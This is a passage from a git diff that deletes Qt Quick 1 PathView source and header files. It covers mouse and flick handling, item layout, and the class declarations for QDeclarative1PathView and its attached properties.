QDeclarative1PathView::pathItemCount() const -{ - Q_D(const QDeclarative1PathView); - return d->pathItems; -} - -void QDeclarative1PathView::setPathItemCount(int i) -{ - Q_D(QDeclarative1PathView); - if (i == d->pathItems) - return; - if (i < 1) - i = 1; - d->pathItems = i; - d->updateMappedRange(); - if (d->isValid() && isComponentComplete()) { - d->regenerate(); - } - emit pathItemCountChanged(); -} - -QPointF QDeclarative1PathViewPrivate::pointNear(const QPointF &point, qreal *nearPercent) const -{ - //XXX maybe do recursively at increasing resolution. - qreal mindist = 1e10; // big number - QPointF nearPoint = path->pointAt(0); - qreal nearPc = 0; - for (qreal i=1; i < 1000; i++) { - QPointF pt = path->pointAt(i/1000.0); - QPointF diff = pt - point; - qreal dist = diff.x()*diff.x() + diff.y()*diff.y(); - if (dist < mindist) { - nearPoint = pt; - nearPc = i; - mindist = dist; - } - } - - if (nearPercent) - *nearPercent = nearPc / 1000.0; - - return nearPoint; -} - -void QDeclarative1PathView::mousePressEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1PathView); - if (d->interactive) { - d->handleMousePressEvent(event); - event->accept(); - } else { - QDeclarativeItem::mousePressEvent(event); - } -} - -void QDeclarative1PathViewPrivate::handleMousePressEvent(QGraphicsSceneMouseEvent *event) -{ - Q_Q(QDeclarative1PathView); - if (!interactive || !items.count()) - return; - QPointF scenePoint = q->mapToScene(event->pos()); - int idx = 0; - for (; idx < items.count(); ++idx) { - QRectF rect = items.at(idx)->boundingRect(); - rect = items.at(idx)->mapToScene(rect).boundingRect(); - if (rect.contains(scenePoint)) - break; - } - if (idx == items.count() && dragMargin == 0.) // didn't click on an item - return; - - startPoint = pointNear(event->pos(), &startPc); - if (idx == items.count()) { - qreal distance = qAbs(event->pos().x() - startPoint.x()) + qAbs(event->pos().y() - startPoint.y()); - if (distance > dragMargin) - return; - } - - if (tl.isActive() && flicking) - stealMouse = true; // If we've been flicked then steal the click. - else - stealMouse = false; - - lastElapsed = 0; - lastDist = 0; - QDeclarativeItemPrivate::start(lastPosTime); - tl.clear(); -} - -void QDeclarative1PathView::mouseMoveEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1PathView); - if (d->interactive) { - d->handleMouseMoveEvent(event); - if (d->stealMouse) - setKeepMouseGrab(true); - event->accept(); - } else { - QDeclarativeItem::mouseMoveEvent(event); - } -} - -void QDeclarative1PathViewPrivate::handleMouseMoveEvent(QGraphicsSceneMouseEvent *event) -{ - Q_Q(QDeclarative1PathView); - if (!interactive || !lastPosTime.isValid()) - return; - - qreal newPc; - QPointF pathPoint = pointNear(event->pos(), &newPc); - if (!stealMouse) { - QPointF delta = pathPoint - startPoint; - if (qAbs(delta.x()) > QApplication::startDragDistance() || qAbs(delta.y()) > QApplication::startDragDistance()) { - stealMouse = true; - startPc = newPc; - } - } - - if (stealMouse) { - moveReason = QDeclarative1PathViewPrivate::Mouse; - qreal diff = (newPc - startPc)*modelCount*mappedRange; - if (diff) { - q->setOffset(offset + diff); - - if (diff > modelCount/2) - diff -= modelCount; - else if (diff < -modelCount/2) - diff += modelCount; - - lastElapsed = QDeclarativeItemPrivate::restart(lastPosTime); - lastDist = diff; - startPc = newPc; - } - if (!moving) { - moving = true; - emit q->movingChanged(); - emit q->movementStarted(); - } - } -} - -void QDeclarative1PathView::mouseReleaseEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1PathView); - if (d->interactive) { - d->handleMouseReleaseEvent(event); - event->accept(); - ungrabMouse(); - } else { - QDeclarativeItem::mouseReleaseEvent(event); - } -} - -void QDeclarative1PathViewPrivate::handleMouseReleaseEvent(QGraphicsSceneMouseEvent *) -{ - Q_Q(QDeclarative1PathView); - stealMouse = false; - q->setKeepMouseGrab(false); - if (!interactive || !lastPosTime.isValid()) - return; - - qreal elapsed = qreal(lastElapsed + QDeclarativeItemPrivate::elapsed(lastPosTime)) / 1000.; - qreal velocity = elapsed > 0. ? lastDist / elapsed : 0; - if (model && modelCount && qAbs(velocity) > 1.) { - qreal count = pathItems == -1 ? modelCount : pathItems; - if (qAbs(velocity) > count * 2) // limit velocity - velocity = (velocity > 0 ? count : -count) * 2; - // Calculate the distance to be travelled - qreal v2 = velocity*velocity; - qreal accel = deceleration/10; - // + 0.25 to encourage moving at least one item in the flick direction - qreal dist = qMin(qreal(modelCount-1), qreal(v2 / (accel * 2.0) + 0.25)); - if (haveHighlightRange && highlightRangeMode == QDeclarative1PathView::StrictlyEnforceRange) { - // round to nearest item. - if (velocity > 0.) - dist = qRound(dist + offset) - offset; - else - dist = qRound(dist - offset) + offset; - // Calculate accel required to stop on item boundary - if (dist <= 0.) { - dist = 0.; - accel = 0.; - } else { - accel = v2 / (2.0f * qAbs(dist)); - } - } - offsetAdj = 0.0; - moveOffset.setValue(offset); - tl.accel(moveOffset, velocity, accel, dist); - tl.callback(QDeclarative1TimeLineCallback(&moveOffset, fixOffsetCallback, this)); - if (!flicking) { - flicking = true; - emit q->flickingChanged(); - emit q->flickStarted(); - } - } else { - fixOffset(); - } - - lastPosTime.invalidate(); - if (!tl.isActive()) - q->movementEnding(); -} - -bool QDeclarative1PathView::sendMouseEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1PathView); - QGraphicsSceneMouseEvent mouseEvent(event->type()); - QRectF myRect = mapToScene(QRectF(0, 0, width(), height())).boundingRect(); - QGraphicsScene *s = scene(); - QDeclarativeItem *grabber = s ? qobject_cast(s->mouseGrabberItem()) : 0; - bool stealThisEvent = d->stealMouse; - if ((stealThisEvent || myRect.contains(event->scenePos().toPoint())) && (!grabber || !grabber->keepMouseGrab())) { - mouseEvent.setAccepted(false); - for (int i = 0x1; i <= 0x10; i <<= 1) { - if (event->buttons() & i) { - Qt::MouseButton button = Qt::MouseButton(i); - mouseEvent.setButtonDownPos(button, mapFromScene(event->buttonDownPos(button))); - } - } - mouseEvent.setScenePos(event->scenePos()); - mouseEvent.setLastScenePos(event->lastScenePos()); - mouseEvent.setPos(mapFromScene(event->scenePos())); - mouseEvent.setLastPos(mapFromScene(event->lastScenePos())); - - switch(mouseEvent.type()) { - case QEvent::GraphicsSceneMouseMove: - d->handleMouseMoveEvent(&mouseEvent); - break; - case QEvent::GraphicsSceneMousePress: - d->handleMousePressEvent(&mouseEvent); - stealThisEvent = d->stealMouse; // Update stealThisEvent in case changed by function call above - break; - case QEvent::GraphicsSceneMouseRelease: - d->handleMouseReleaseEvent(&mouseEvent); - break; - default: - break; - } - grabber = qobject_cast(s->mouseGrabberItem()); - if (grabber && stealThisEvent && !grabber->keepMouseGrab() && grabber != this) - grabMouse(); - - return d->stealMouse; - } else if (d->lastPosTime.isValid()) { - d->lastPosTime.invalidate(); - d->fixOffset(); - } - if (mouseEvent.type() == QEvent::GraphicsSceneMouseRelease) - d->stealMouse = false; - return false; -} - -bool QDeclarative1PathView::sceneEventFilter(QGraphicsItem *i, QEvent *e) -{ - Q_D(QDeclarative1PathView); - if (!isVisible() || !d->interactive) - return QDeclarativeItem::sceneEventFilter(i, e); - - switch (e->type()) { - case QEvent::GraphicsSceneMousePress: - case QEvent::GraphicsSceneMouseMove: - case QEvent::GraphicsSceneMouseRelease: - return sendMouseEvent(static_cast(e)); - default: - break; - } - - return QDeclarativeItem::sceneEventFilter(i, e); -} - -bool QDeclarative1PathView::sceneEvent(QEvent *event) -{ - bool rv = QDeclarativeItem::sceneEvent(event); - if (event->type() == QEvent::UngrabMouse) { - Q_D(QDeclarative1PathView); - if (d->stealMouse) { - // if our mouse grab has been removed (probably by another Flickable), - // fix our state - d->stealMouse = false; - setKeepMouseGrab(false); - d->lastPosTime.invalidate(); - } - } - return rv; -} - -bool QDeclarative1PathView::event(QEvent *event) -{ - if (event->type() == QEvent::User) { - refill(); - return true; - } - - return QDeclarativeItem::event(event); -} - -void QDeclarative1PathView::componentComplete() -{ - Q_D(QDeclarative1PathView); - QDeclarativeItem::componentComplete(); - d->createHighlight(); - // It is possible that a refill has already happended to to Path - // bindings being handled in the componentComplete(). If so - // don't do it again. - if (d->items.count() == 0 && d->model) { - d->modelCount = d->model->count(); - d->regenerate(); - } - d->updateHighlight(); -} - -void QDeclarative1PathView::refill() -{ - Q_D(QDeclarative1PathView); - if (!d->isValid() || !isComponentComplete()) - return; - - d->layoutScheduled = false; - bool currentVisible = false; - - // first move existing items and remove items off path - int idx = d->firstIndex; - QList::iterator it = d->items.begin(); - while (it != d->items.end()) { - qreal pos = d->positionOfIndex(idx); - QDeclarativeItem *item = *it; - if (pos >= 0.0) { - d->updateItem(item, pos); - if (idx == d->currentIndex) { - currentVisible = true; - d->currentItemOffset = pos; - } - ++it; - } else { -// qDebug() << "release"; - d->updateItem(item, 1.0); - d->releaseItem(item); - if (it == d->items.begin()) { - if (++d->firstIndex >= d->modelCount) - d->firstIndex = 0; - } - it = d->items.erase(it); - } - ++idx; - if (idx >= d->modelCount) - idx = 0; - } - if (!d->items.count()) - d->firstIndex = -1; - - if (d->modelCount) { - // add items to beginning and end - int count = d->pathItems == -1 ? d->modelCount : qMin(d->pathItems, d->modelCount); - if (d->items.count() < count) { - int idx = qRound(d->modelCount - d->offset) % d->modelCount; - qreal startPos = 0.0; - if (d->haveHighlightRange && d->highlightRangeMode != QDeclarative1PathView::NoHighlightRange) - startPos = d->highlightRangeStart; - if (d->firstIndex >= 0) { - startPos = d->positionOfIndex(d->firstIndex); - idx = (d->firstIndex + d->items.count()) % d->modelCount; - } - qreal pos = d->positionOfIndex(idx); - while ((pos > startPos || !d->items.count()) && d->items.count() < count) { - // qDebug() << "append" << idx; - QDeclarativeItem *item = d->getItem(idx); - if (d->model->completePending()) - item->setZValue(idx+1); - if (d->currentIndex == idx) { - item->setFocus(true); - if (QDeclarative1PathViewAttached *att = d->attached(item)) - att->setIsCurrentItem(true); - currentVisible = true; - d->currentItemOffset = pos; - d->currentItem = item; - } - if (d->items.count() == 0) - d->firstIndex = idx; - d->items.append(item); - d->updateItem(item, pos); - if (d->model->completePending()) - d->model->completeItem(); - ++idx; - if (idx >= d->modelCount) - idx = 0; - pos = d->positionOfIndex(idx); - } - - idx = d->firstIndex - 1; - if (idx < 0) - idx = d->modelCount - 1; - pos = d->positionOfIndex(idx); - while (pos >= 0.0 && pos < startPos) { - // qDebug() << "prepend" << idx; - QDeclarativeItem *item = d->getItem(idx); - if (d->model->completePending()) - item->setZValue(idx+1); - if (d->currentIndex == idx) { - item->setFocus(true); - if (QDeclarative1PathViewAttached *att = d->attached(item)) - att->setIsCurrentItem(true); - currentVisible = true; - d->currentItemOffset = pos; - d->currentItem = item; - } - d->items.prepend(item); - d->updateItem(item, pos); - if (d->model->completePending()) - d->model->completeItem(); - d->firstIndex = idx; - idx = d->firstIndex - 1; - if (idx < 0) - idx = d->modelCount - 1; - pos = d->positionOfIndex(idx); - } - } - } - - if (!currentVisible) - d->currentItemOffset = 1.0; - - if (d->highlightItem && d->haveHighlightRange && d->highlightRangeMode == QDeclarative1PathView::StrictlyEnforceRange) { - d->updateItem(d->highlightItem, d->highlightRangeStart); - if (QDeclarative1PathViewAttached *att = d->attached(d->highlightItem)) - att->setOnPath(true); - } else if (d->highlightItem && d->moveReason != QDeclarative1PathViewPrivate::SetIndex) { - d->updateItem(d->highlightItem, d->currentItemOffset); - if (QDeclarative1PathViewAttached *att = d->attached(d->highlightItem)) - att->setOnPath(currentVisible); - } - while (d->itemCache.count()) - d->releaseItem(d->itemCache.takeLast()); -} - -void QDeclarative1PathView::itemsInserted(int modelIndex, int count) -{ - //XXX support animated insertion - Q_D(QDeclarative1PathView); - if (!d->isValid() || !isComponentComplete()) - return; - - if (d->modelCount) { - d->itemCache += d->items; - d->items.clear(); - if (modelIndex <= d->currentIndex) { - d->currentIndex += count; - emit currentIndexChanged(); - } else if (d->offset != 0) { - d->offset += count; - d->offsetAdj += count; - } - } - d->modelCount += count; - if (d->flicking || d->moving) { - d->regenerate(); - d->updateCurrent(); - } else { - d->firstIndex = -1; - d->updateMappedRange(); - d->scheduleLayout(); - } - emit countChanged(); -} - -void QDeclarative1PathView::itemsRemoved(int modelIndex, int count) -{ - //XXX support animated removal - Q_D(QDeclarative1PathView); - if (!d->model || !d->modelCount || !d->model->isValid() || !d->path || !isComponentComplete()) - return; - - // fix current - bool currentChanged = false; - if (d->currentIndex >= modelIndex + count) { - d->currentIndex -= count; - currentChanged = true; - } else if (d->currentIndex >= modelIndex && d->currentIndex < modelIndex + count) { - // current item has been removed. - d->currentIndex = qMin(modelIndex, d->modelCount-count-1); - if (d->currentItem) { - if (QDeclarative1PathViewAttached *att = d->attached(d->currentItem)) - att->setIsCurrentItem(true); - } - currentChanged = true; - } - - d->itemCache += d->items; - d->items.clear(); - - bool changedOffset = false; - if (modelIndex > d->currentIndex) { - if (d->offset >= count) { - changedOffset = true; - d->offset -= count; - d->offsetAdj -= count; - } - } - - d->modelCount -= count; - if (!d->modelCount) { - while (d->itemCache.count()) - d->releaseItem(d->itemCache.takeLast()); - d->offset = 0; - changedOffset = true; - d->tl.reset(d->moveOffset); - update(); - } else { - d->regenerate(); - d->updateCurrent(); - if (!d->flicking && !d->moving && d->haveHighlightRange && d->highlightRangeMode == QDeclarative1PathView::StrictlyEnforceRange) - d->snapToCurrent(); - } - if (changedOffset) - emit offsetChanged(); - if (currentChanged) - emit currentIndexChanged(); - emit countChanged(); -} - -void QDeclarative1PathView::itemsMoved(int /*from*/, int /*to*/, int /*count*/) -{ - Q_D(QDeclarative1PathView); - if (!d->isValid() || !isComponentComplete()) - return; - - QList removedItems = d->items; - d->items.clear(); - d->regenerate(); - while (removedItems.count()) - d->releaseItem(removedItems.takeLast()); - - // Fix current index - if (d->currentIndex >= 0 && d->currentItem) { - int oldCurrent = d->currentIndex; - d->currentIndex = d->model->indexOf(d->currentItem, this); - if (oldCurrent != d->currentIndex) - emit currentIndexChanged(); - } - d->updateCurrent(); -} - -void QDeclarative1PathView::modelReset() -{ - Q_D(QDeclarative1PathView); - d->modelCount = d->model->count(); - d->regenerate(); - emit countChanged(); -} - -void QDeclarative1PathView::createdItem(int index, QDeclarativeItem *item) -{ - Q_D(QDeclarative1PathView); - if (d->requestedIndex != index) { - if (!d->attType) { - // pre-create one metatype to share with all attached objects - d->attType = new QDeclarative1OpenMetaObjectType(&QDeclarative1PathViewAttached::staticMetaObject, qmlEngine(this)); - foreach(const QString &attr, d->path->attributes()) - d->attType->createProperty(attr.toUtf8()); - } - qPathViewAttachedType = d->attType; - QDeclarative1PathViewAttached *att = static_cast(qmlAttachedPropertiesObject(item)); - qPathViewAttachedType = 0; - if (att) { - att->m_view = this; - att->setOnPath(false); - } - item->setParentItem(this); - d->updateItem(item, index < d->firstIndex ? 0.0 : 1.0); - } -} - -void QDeclarative1PathView::destroyingItem(QDeclarativeItem *item) -{ - Q_UNUSED(item); -} - -void QDeclarative1PathView::ticked() -{ - Q_D(QDeclarative1PathView); - d->updateCurrent(); -} - -void QDeclarative1PathView::movementEnding() -{ - Q_D(QDeclarative1PathView); - if (d->flicking) { - d->flicking = false; - emit flickingChanged(); - emit flickEnded(); - } - if (d->moving && !d->stealMouse) { - d->moving = false; - emit movingChanged(); - emit movementEnded(); - } -} - -// find the item closest to the snap position -int QDeclarative1PathViewPrivate::calcCurrentIndex() -{ - int current = -1; - if (modelCount && model && items.count()) { - offset = qmlMod(offset, modelCount); - if (offset < 0) - offset += modelCount; - current = qRound(qAbs(qmlMod(modelCount - offset, modelCount))); - current = current % modelCount; - } - - return current; -} - -void QDeclarative1PathViewPrivate::updateCurrent() -{ - Q_Q(QDeclarative1PathView); - if (moveReason != Mouse) - return; - if (!modelCount || !haveHighlightRange || highlightRangeMode != QDeclarative1PathView::StrictlyEnforceRange) - return; - - int idx = calcCurrentIndex(); - if (model && idx != currentIndex) { - int itemIndex = (currentIndex - firstIndex + modelCount) % modelCount; - if (itemIndex < items.count()) { - if (QDeclarativeItem *item = items.at(itemIndex)) { - if (QDeclarative1PathViewAttached *att = attached(item)) - att->setIsCurrentItem(false); - } - } - currentIndex = idx; - currentItem = 0; - itemIndex = (idx - firstIndex + modelCount) % modelCount; - if (itemIndex < items.count()) { - currentItem = items.at(itemIndex); - currentItem->setFocus(true); - if (QDeclarative1PathViewAttached *att = attached(currentItem)) - att->setIsCurrentItem(true); - } - emit q->currentIndexChanged(); - } -} - -void QDeclarative1PathViewPrivate::fixOffsetCallback(void *d) -{ - ((QDeclarative1PathViewPrivate *)d)->fixOffset(); -} - -void QDeclarative1PathViewPrivate::fixOffset() -{ - Q_Q(QDeclarative1PathView); - if (model && items.count()) { - if (haveHighlightRange && highlightRangeMode == QDeclarative1PathView::StrictlyEnforceRange) { - int curr = calcCurrentIndex(); - if (curr != currentIndex) - q->setCurrentIndex(curr); - else - snapToCurrent(); - } - } -} - -void QDeclarative1PathViewPrivate::snapToCurrent() -{ - if (!model || modelCount <= 0) - return; - - qreal targetOffset = qmlMod(modelCount - currentIndex, modelCount); - - moveReason = Other; - offsetAdj = 0.0; - tl.reset(moveOffset); - moveOffset.setValue(offset); - - const int duration = highlightMoveDuration; - - if (moveDirection == Positive || (moveDirection == Shortest && targetOffset - offset > modelCount/2)) { - qreal distance = modelCount - targetOffset + offset; - if (targetOffset > moveOffset) { - tl.move(moveOffset, 0.0, QEasingCurve(QEasingCurve::InQuad), int(duration * offset / distance)); - tl.set(moveOffset, modelCount); - tl.move(moveOffset, targetOffset, QEasingCurve(offset == 0.0 ? QEasingCurve::InOutQuad : QEasingCurve::OutQuad), int(duration * (modelCount-targetOffset) / distance)); - } else { - tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InOutQuad), duration); - } - } else if (moveDirection == Negative || targetOffset - offset <= -modelCount/2) { - qreal distance = modelCount - offset + targetOffset; - if (targetOffset < moveOffset) { - tl.move(moveOffset, modelCount, QEasingCurve(targetOffset == 0 ? QEasingCurve::InOutQuad : QEasingCurve::InQuad), int(duration * (modelCount-offset) / distance)); - tl.set(moveOffset, 0.0); - tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::OutQuad), int(duration * targetOffset / distance)); - } else { - tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InOutQuad), duration); - } - } else { - tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InOutQuad), duration); - } - moveDirection = Shortest; -} - -QDeclarative1PathViewAttached *QDeclarative1PathView::qmlAttachedProperties(QObject *obj) -{ - return new QDeclarative1PathViewAttached(obj); -} - - - -QT_END_NAMESPACE - diff --git a/src/qtquick1/graphicsitems/qdeclarativepathview_p.h b/src/qtquick1/graphicsitems/qdeclarativepathview_p.h deleted file mode 100644 index 288f7268e2..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativepathview_p.h +++ /dev/null @@ -1,252 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEPATHVIEW_H -#define QDECLARATIVEPATHVIEW_H - -#include "qdeclarativeitem.h" -#include "QtQuick1/private/qdeclarativepath_p.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1PathViewPrivate; -class QDeclarative1PathViewAttached; -class Q_AUTOTEST_EXPORT QDeclarative1PathView : public QDeclarativeItem -{ - Q_OBJECT - - Q_PROPERTY(QVariant model READ model WRITE setModel NOTIFY modelChanged) - Q_PROPERTY(QDeclarative1Path *path READ path WRITE setPath NOTIFY pathChanged) - Q_PROPERTY(int currentIndex READ currentIndex WRITE setCurrentIndex NOTIFY currentIndexChanged) - Q_PROPERTY(qreal offset READ offset WRITE setOffset NOTIFY offsetChanged) - - Q_PROPERTY(QDeclarativeComponent *highlight READ highlight WRITE setHighlight NOTIFY highlightChanged) - Q_PROPERTY(QDeclarativeItem *highlightItem READ highlightItem NOTIFY highlightItemChanged) - - Q_PROPERTY(qreal preferredHighlightBegin READ preferredHighlightBegin WRITE setPreferredHighlightBegin NOTIFY preferredHighlightBeginChanged) - Q_PROPERTY(qreal preferredHighlightEnd READ preferredHighlightEnd WRITE setPreferredHighlightEnd NOTIFY preferredHighlightEndChanged) - Q_PROPERTY(HighlightRangeMode highlightRangeMode READ highlightRangeMode WRITE setHighlightRangeMode NOTIFY highlightRangeModeChanged) - Q_PROPERTY(int highlightMoveDuration READ highlightMoveDuration WRITE setHighlightMoveDuration NOTIFY highlightMoveDurationChanged) - - Q_PROPERTY(qreal dragMargin READ dragMargin WRITE setDragMargin NOTIFY dragMarginChanged) - Q_PROPERTY(qreal flickDeceleration READ flickDeceleration WRITE setFlickDeceleration NOTIFY flickDecelerationChanged) - Q_PROPERTY(bool interactive READ isInteractive WRITE setInteractive NOTIFY interactiveChanged) - - Q_PROPERTY(bool moving READ isMoving NOTIFY movingChanged) - Q_PROPERTY(bool flicking READ isFlicking NOTIFY flickingChanged) - - Q_PROPERTY(int count READ count NOTIFY countChanged) - Q_PROPERTY(QDeclarativeComponent *delegate READ delegate WRITE setDelegate NOTIFY delegateChanged) - Q_PROPERTY(int pathItemCount READ pathItemCount WRITE setPathItemCount NOTIFY pathItemCountChanged) - - Q_ENUMS(HighlightRangeMode) - -public: - QDeclarative1PathView(QDeclarativeItem *parent=0); - virtual ~QDeclarative1PathView(); - - QVariant model() const; - void setModel(const QVariant &); - - QDeclarative1Path *path() const; - void setPath(QDeclarative1Path *); - - int currentIndex() const; - void setCurrentIndex(int idx); - - qreal offset() const; - void setOffset(qreal offset); - - QDeclarativeComponent *highlight() const; - void setHighlight(QDeclarativeComponent *highlight); - QDeclarativeItem *highlightItem(); - - enum HighlightRangeMode { NoHighlightRange, ApplyRange, StrictlyEnforceRange }; - HighlightRangeMode highlightRangeMode() const; - void setHighlightRangeMode(HighlightRangeMode mode); - - qreal preferredHighlightBegin() const; - void setPreferredHighlightBegin(qreal); - - qreal preferredHighlightEnd() const; - void setPreferredHighlightEnd(qreal); - - int highlightMoveDuration() const; - void setHighlightMoveDuration(int); - - qreal dragMargin() const; - void setDragMargin(qreal margin); - - qreal flickDeceleration() const; - void setFlickDeceleration(qreal dec); - - bool isInteractive() const; - void setInteractive(bool); - - bool isMoving() const; - bool isFlicking() const; - - int count() const; - - QDeclarativeComponent *delegate() const; - void setDelegate(QDeclarativeComponent *); - - int pathItemCount() const; - void setPathItemCount(int); - - static QDeclarative1PathViewAttached *qmlAttachedProperties(QObject *); - -public Q_SLOTS: - void incrementCurrentIndex(); - void decrementCurrentIndex(); - -Q_SIGNALS: - void currentIndexChanged(); - void offsetChanged(); - void modelChanged(); - void countChanged(); - void pathChanged(); - void preferredHighlightBeginChanged(); - void preferredHighlightEndChanged(); - void highlightRangeModeChanged(); - void dragMarginChanged(); - void snapPositionChanged(); - void delegateChanged(); - void pathItemCountChanged(); - void flickDecelerationChanged(); - void interactiveChanged(); - void movingChanged(); - void flickingChanged(); - void highlightChanged(); - void highlightItemChanged(); - void highlightMoveDurationChanged(); - void movementStarted(); - void movementEnded(); - void flickStarted(); - void flickEnded(); - -protected: - void mousePressEvent(QGraphicsSceneMouseEvent *event); - void mouseMoveEvent(QGraphicsSceneMouseEvent *event); - void mouseReleaseEvent(QGraphicsSceneMouseEvent *); - bool sendMouseEvent(QGraphicsSceneMouseEvent *event); - bool sceneEventFilter(QGraphicsItem *, QEvent *); - bool sceneEvent(QEvent *event); - bool event(QEvent *event); - void componentComplete(); - -private Q_SLOTS: - void refill(); - void ticked(); - void movementEnding(); - void itemsInserted(int index, int count); - void itemsRemoved(int index, int count); - void itemsMoved(int,int,int); - void modelReset(); - void createdItem(int index, QDeclarativeItem *item); - void destroyingItem(QDeclarativeItem *item); - void pathUpdated(); - -private: - friend class QDeclarative1PathViewAttached; - Q_DISABLE_COPY(QDeclarative1PathView) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1PathView) -}; - -class QDeclarative1OpenMetaObject; -class QDeclarative1PathViewAttached : public QObject -{ - Q_OBJECT - - Q_PROPERTY(QDeclarative1PathView *view READ view CONSTANT) - Q_PROPERTY(bool isCurrentItem READ isCurrentItem NOTIFY currentItemChanged) - Q_PROPERTY(bool onPath READ isOnPath NOTIFY pathChanged) - -public: - QDeclarative1PathViewAttached(QObject *parent); - ~QDeclarative1PathViewAttached(); - - QDeclarative1PathView *view() { return m_view; } - - bool isCurrentItem() const { return m_isCurrent; } - void setIsCurrentItem(bool c) { - if (m_isCurrent != c) { - m_isCurrent = c; - emit currentItemChanged(); - } - } - - QVariant value(const QByteArray &name) const; - void setValue(const QByteArray &name, const QVariant &val); - - bool isOnPath() const { return m_onPath; } - void setOnPath(bool on) { - if (on != m_onPath) { - m_onPath = on; - emit pathChanged(); - } - } - qreal m_percent; - -Q_SIGNALS: - void currentItemChanged(); - void pathChanged(); - -private: - friend class QDeclarative1PathViewPrivate; - friend class QDeclarative1PathView; - QDeclarative1PathView *m_view; - QDeclarative1OpenMetaObject *m_metaobject; - bool m_onPath : 1; - bool m_isCurrent : 1; -}; - - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1PathView) -QML_DECLARE_TYPEINFO(QDeclarative1PathView, QML_HAS_ATTACHED_PROPERTIES) -QT_END_HEADER - -#endif // QDECLARATIVEPATHVIEW_H diff --git a/src/qtquick1/graphicsitems/qdeclarativepathview_p_p.h b/src/qtquick1/graphicsitems/qdeclarativepathview_p_p.h deleted file mode 100644 index b44c5ae3ee..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativepathview_p_p.h +++ /dev/null @@ -1,192 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEPATHVIEW_P_H -#define QDECLARATIVEPATHVIEW_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "private/qdeclarativepathview_p.h" - -#include "QtQuick1/private/qdeclarativeitem_p.h" -#include "QtQuick1/private/qdeclarativevisualitemmodel_p.h" - -#include -#include -#include - -#include - -QT_BEGIN_NAMESPACE - -class QDeclarative1OpenMetaObjectType; -class QDeclarative1PathViewAttached; -class QDeclarative1PathViewPrivate : public QDeclarativeItemPrivate, public QDeclarativeItemChangeListener -{ - Q_DECLARE_PUBLIC(QDeclarative1PathView) - -public: - QDeclarative1PathViewPrivate() - : path(0), currentIndex(0), currentItemOffset(0.0), startPc(0), lastDist(0) - , lastElapsed(0), offset(0.0), offsetAdj(0.0), mappedRange(1.0) - , stealMouse(false), ownModel(false), interactive(true), haveHighlightRange(true) - , autoHighlight(true), highlightUp(false), layoutScheduled(false) - , moving(false), flicking(false) - , dragMargin(0), deceleration(100) - , moveOffset(this, &QDeclarative1PathViewPrivate::setAdjustedOffset) - , firstIndex(-1), pathItems(-1), requestedIndex(-1) - , moveReason(Other), moveDirection(Shortest), attType(0), highlightComponent(0), highlightItem(0) - , moveHighlight(this, &QDeclarative1PathViewPrivate::setHighlightPosition) - , highlightPosition(0) - , highlightRangeStart(0), highlightRangeEnd(0) - , highlightRangeMode(QDeclarative1PathView::StrictlyEnforceRange) - , highlightMoveDuration(300), modelCount(0) - { - } - - void init(); - - void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry) { - if ((newGeometry.size() != oldGeometry.size()) - && (!highlightItem || item != highlightItem)) { - if (QDeclarative1PathViewAttached *att = attached(item)) - att->m_percent = -1; - scheduleLayout(); - } - } - - void 